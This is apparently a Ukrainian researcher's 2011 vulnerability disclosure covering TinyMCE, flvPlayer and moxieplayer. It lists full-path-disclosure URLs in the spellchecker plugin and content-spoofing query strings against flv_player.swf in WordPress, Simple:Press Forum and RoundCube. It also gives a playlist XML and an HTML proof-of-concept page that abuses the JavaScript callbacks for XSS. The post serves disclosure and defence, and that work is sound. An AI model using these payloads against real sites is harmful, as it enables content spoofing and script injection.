17.10.2011
Нещодавно, 15.10.2011, я знайшов численні уразливості в TinyMCE - популярному візуальному редакторі, та flvPlayer (що входить в поставку TinyMCE). Це Full path disclosure, Content Spoofing та Cross-Site Scripting уразливості. Про що найближчим часом повідомлю розробникам.
Раніше я вже писав про виконання коду в TinyBrowser, коли через даний компонент TinyMCE можна було провести Code Execution атаку. А цього разу я знайшов нові дірки в TinyMCE.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам веб додатку.
23.11.2011
Full path disclosure:
Уразливості в TinyMCE в плагіні spellchecker.
http://site/path/tinymce/plugins/spellchecker/classes/EnchantSpell.php
http://site/path/tinymce/plugins/spellchecker/classes/GoogleSpell.php
http://site/path/tinymce/plugins/spellchecker/classes/PSpell.php
http://site/path/tinymce/plugins/spellchecker/classes/PSpellShell.php
Content Spoofing:
flv_player.swf - це flvPlayer v1.0b, що входить в TinyMCE.
Для WordPress:
http://site/wp-includes/js/tinymce/plugins/media/img/flv_player.swf
Для Simple:Press Forum: http://site/wp-content/plugins/
simple-forum/editors/tinymce/plugins/img/media/flv_player.swf
Для RoundCube:
http://site/program/js/tiny_mce/plugins/media/img/flv_player.swf
Можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті.
http://site/flv_player.swf?flvToPlay=http://site2/1.flv
http://site/flv_player.swf?autoStart=false&startImage=http://site2/1.jpg
http://site/flv_player.swf?flvToPlay=http://site2/1.flv&autoStart=false&startImage=http://site2/1.jpg
http://site/flv_player.swf?flvToPlay=http://site2/1.xml
Через xml-файл, розміщений на поточному чи зовнішньому ресурсі, можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті (параметри thumbnail та url в xml-файлі приймають довільні адреси).
Файл 1.xml:
<?xml version="1.0" encoding="UTF-8"?>
<playlist>
<item name="Content Spoofing" thumbnail="1.jpg" url="1.flv"/>
<item name="Content Spoofing" thumbnail="2.jpg" url="2.flv"/>
</playlist>
XSS:
<html>
<body>
<script>
function flvStart() {
alert('XSS');
}
function flvEnd() {
alert('XSS');
}
</script>
<object width="50%" height="50%">
<param name=movie value="flv_player.swf?flvToPlay=1.flv&jsCallback=true">
<param name=quality value=high>
<embed src="flv_player.swf?flvToPlay=1.flv&jsCallback=true" width="50%" height="50%" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash"></embed>
</object>
</body>
</html>
Якщо на сайті на сторінці з flv_player.swf (з параметром jsCallback=true, або якщо є можливість вказати цей параметр для flv_player.swf) є можливість включити JS код з функцією flvStart() і/або flvEnd() (через HTML Injection), то можна провести XSS атаку. Тобто JS-калбеки можна використати для XSS атаки.
Починаючи з TinyMCE 3.4b2, в поставку входить moxieplayer.swf.
Content Spoofing:
http://site/path/moxieplayer.swf?url=http://site2/1.flv
Можна вказувати абсолютні URL для включення зовнішніх файлів в флешку на цільовому сайті.
Уразливі всі версії TinyMCE, що містять вищеназвані файли. Уразливі до CS та XSS всі версії flvPlayer (flvPlayer v1.0b). А також всі веб додатки, які використовують дані версії TinyMCE та flvPlayer, а це сотні веб додатків та десятки мільйонів сайтів в Інтернеті. Сайтів лише на одному WordPress, за даними wordpress.com, на даний час налічує більше 67 мільйонів, біля половини з яких розміщується на блог-хостінгу wordpress.com.
Зокрема вразливі наступні веб додатки: WordPress 2.6 - 3.1.1 (що я перевірив, а потенційно WP 2.5 - 3.2.1) до FPD. До Content Spoofing вразливі версії з файлом flv_player.swf (в плагіні media в TinyMCE), що є в WP 2.6 - 3.0.1 (що я перевірив, а потенційно WP 2.5 - 3.0.5). Simple:Press Forum 4.4.5 та попередні версії. RoundCube 0.6 та попередні версії (перевірялося в 0.4-beta та 0.6) до СS і XSS. В останній версії RoundCube 0.6 використовує moxieplayer.swf (замість flv_player.swf). Та багато інших веб додатків.